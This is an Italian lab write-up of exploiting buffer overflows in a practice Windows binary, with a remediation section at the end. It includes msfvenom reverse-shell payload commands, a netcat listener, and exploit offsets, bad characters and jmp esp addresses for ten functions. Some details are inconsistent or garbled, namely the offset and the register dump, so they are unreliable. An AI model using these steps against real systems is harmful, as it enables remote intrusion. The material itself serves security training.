

CRACKING DI UN BUFFER OVERFLOW

OBIETTIVO

Sfruttare le vulnerabilità di buffer overflow su un binario target per manipolare il flusso di esecuzione (EIP) e eseguire codice remoto, per ottenere una reverse shell.

AMBIENTE DI LAVORO

L'esercizio è stato svolto in ambiente sicuro e controllato. Come macchina attaccante è stata usata la Kali (Virtual Box), e come target una macchina Windows 10 ospitate l'eseguitibile vulnerabile.

ATTACCO E SFRUTTAMENTO DI UN BUFFER OVERFLOW

FASE 1: TEST DI CRASH

All'interno della macchina target ho aperto nella macchina target Immunity Debugger, uno strumento che permette l'analisi di codice binario, da cui ho attivato il binario vulnerabile(oscp.exe).

Dalla macchina attaccante ho avuto accesso tramite netcat a oscp.exe, per verificare se la prima funzione (OVERFLOW1) fosse vulnerabile e poi ho mandato una stringa lunga di A per innescare l'overflow e crashare il programma.

[illegible]

Dall'analisi del Crash si evince che il puntatore dello stack (ESP) punta ad una sequenza di A e l'EIP ha valore 0x41414141. Questo dimostra che è vulnerabile al buffer overflow e si può modificare l'indirizzo per puntare al payload.

[illegible]

FASE 2: CALCOLO DELL'OFFSET

Per poter calcolare l'offset ho mandato un secondo attacco immettendo una stringa generata da `pattern_create`.

[illegible]

In seguito ho rilevato il valore di in esadecimale di EIP (0x6f43396e), che ho riconvertito in ASCII tramite script di python (n9Co). Questo valore ha permesso grazie a pattern_offset.rb di ottenere l'offset (1982).

```
(kali㉿kali)-[~]
$ python
Python 3.14.6 (main, Jun 10 2026, 18:54:31) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> struct.pack("<I", 0x6F43396e)
b'n9Co'
>>> |

(kali㉿kali)-[~]
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q n9Co

[*] Exact match at offset 1978
```

Infine ho testato l'offset grazie ad un PoC su python.

```

0XN 0003F269 ASCII "OVERFLOW! AAAAAAAAAAAAAAAAAAAAAA"
ECX 00015014
ESP 00014141
ESP 00014141
ESP 0003FA23 ASCII "CCCCCCCCCCCCCCCC"
ESI 00041817 o3cp.00401973
EDI 00040193 o3cp.00401973
EIP 00042430
C 0 E3 002B 32bit 0(FFFFFFFF)
C 0 S3 0023 32bit 0(FFFFFFFF)
C 0 S3 0023 32bit 0(FFFFFFFF)
C 1 D5 002B 32bit 0(FFFFFFFF)
C 0 F5 0053 32bit 7F(D0000000FFF)
C 0 05 002B 32bit 0(FFFFFFFF)
D 0
D 0
D 0 LastErr: ERROR_SUCCESS (00000000)
EFL 00010246 (NO, NB, E, BE, NS, PE, JE, LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
FST 0000 Cond 0 2 0 0 P 0 0 S P U Q Z D I
FCM 027F Prec NEAR,S3 Err 0 0 0 0 0 0 (GT)
Mask 1 1 1 1 1 1

```

Il valore dell'EIP (0x42424242) conferma che l'offset calcolato è quello giusto.

FASE 3: IDENTIFICAZIONE DEI BADCHAR

Per questa fase è stato necessario utilizzare lo script Mona, ma per farlo ho dovuto configurarlo impostando la cartella di lavoro tramite comando `!mona config -set workingfolder c:\mona\%`. Poi ho generato un bytearray di riferimento con il comando `!mona bytearray -b "\x00"`, che crea un array contenente tutti i byte escludendo `\x00`.

Per individuare i caratteri non validi ho usato uno script python, che invia tutti i byte possibili subito dopo il registro EIP per verificare quale di essi vengono modificati e ho impostato Mona con il comando `!mona compare -f C:\mona\oscp\bytearray.bin -a esp`, per confrontare il bytearray di riferimento con quello presente all'indirizzo puntato da ESP.

FASE 5: RICERCA DI UN GADJET ADATTO

Attraverso il comando `!mona jmp -r esp -cpb '\x00\x07\x2e\xa0'` di Mona è stato possibile trovare indirizzi eseguibili contenenti l'istruzione `jmp esp` senza ASLR attivo e senza badchar. Degli indirizzi trovati ho scelto `0x625011af`.

FASE 6: EXPLOIT FINALE

Ho inserito nello script python dell'exploit: la shellcode generata, l'indirizzo del puntatore `jmp esp` e l'offset. Dal terminale della Kali ho attivato la connessione tramite netcat, alla porta indicata nel comando di msfvenom, e ho avviato l'attacco che ha creato la reverse shell.

```
(kali@kali)-[~]
$ sudo nc -nvlp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [192.168.200.100] from (UNKNOWN) [192.168.200.150] 49451
Microsoft Windows [Versione 10.0.10240]
(c) 2015 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Users\user\Desktop\oscp>
```

Per le altre funzioni ho ripetuto gli stessi passaggi, anche se per OVERFLOW5 e OVERFLOW10 è stato necessario generare tramite `patter_create` una stringa più corta per adattarla alla dimensione del buffer della funzione analizzata.

TABELLA RIEPILOGATIVA DEI PARAMETRI DI EXPLOT (OVERFLOW2-OVERFLOW10)

Funzione	Offset EIP	Offset ESP	Bad Characters	Indirizzo JMP ESP	Comando Msfvenom
OVERFLOW2	634	638	\x00 \x23 \x3c \x83 \xba	625011af	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x23 \x3c \x83 \xba" -f python
OVERFLOW3	1274	1278	\x00 \x11 \x40 \x5f \xb8 \xee	62501205	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x11 \x40 \x5f

Funzione	Offset EIP	Offset ESP	Bad Characters	Indirizzo JMP ESP	Comando Msfvenom
					\xb8 \xee" -f python
OVERFLOW4	2026	2030	\x00\xa9\xcd\x04	625011AF	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00\xa9\xcd\x04" -f python
OVERFLOW5	314	318	\x00 \x16 \x2f \xf4 \xfd	625011AF	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x16 \x2f \xf4 \xfd" -f python
OVERFLOW6	1034	1038	\x00 \x08 \x2c \xad	625011AF	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x08 \x2c \xad" -f python
OVERFLOW7	1306	1310	\x00 \x8c \xae \xbe \xfb	625011AF	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x8c \xae \xbe \xfb" -f python
OVERFLOW8	1786	1790	\x00 \x1d \x2e \xc7 \xee	625011AF	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x1d \x2e \xc7 \xee" -f python
OVERFLOW9	1514	1518	\x00 \x04 \x3e \x3f \xe1	625011AF	msfvenom -p windows/shell_reverse_tcp

Funzione	Offset EIP	Offset ESP	Bad Characters	Indirizzo JMP ESP	Comando Msfvenom
					LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x04 \x3e \x3f \xe1" -f python
OVERFLOW10	537	541	\x00 \xa0 \xad \xbe \xde \xef	625011AF	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \xa0 \xad \xbe \xde \xef" -f python

CONCLUSIONE E REMEDIATION

L'attività ha dimostrato con successo lo sfruttamento di dieci vulnerabilità di stack-based buffer overflow (OVERFLOW1–10) su ambiente Windows 10, sfruttando l'analisi degli offset di EIP ed ESP, l'esclusione dei bad characters e l'uso di puntatori JMP ESP per l'ottenimento di reverse shell interattive.

Misure di Remediation

- **Validazione e sanitizzazione:** Implementare controlli severi sulla lunghezza dei dati in ingresso e sostituire funzioni di copia insicure (come `strcpy` o `sprintf`) con varianti sicure e dimensionate (`strncpy`, `snprintf`).
- **Protezioni di memoria:** Abilitare meccanismi di mitigazione avanzati del sistema operativo e del compilatore, tra cui DEP/NX (Data Execution Prevention), ASLR (Address Space Layout Randomization) e Stack Canaries.
- **Secure Coding e Code Review:** Introdurre sessioni periodiche di revisione del codice e l'impiego di strumenti di analisi statica (SAST) all'interno del ciclo di vita dello sviluppo software per intercettare le falle prima del rilascio.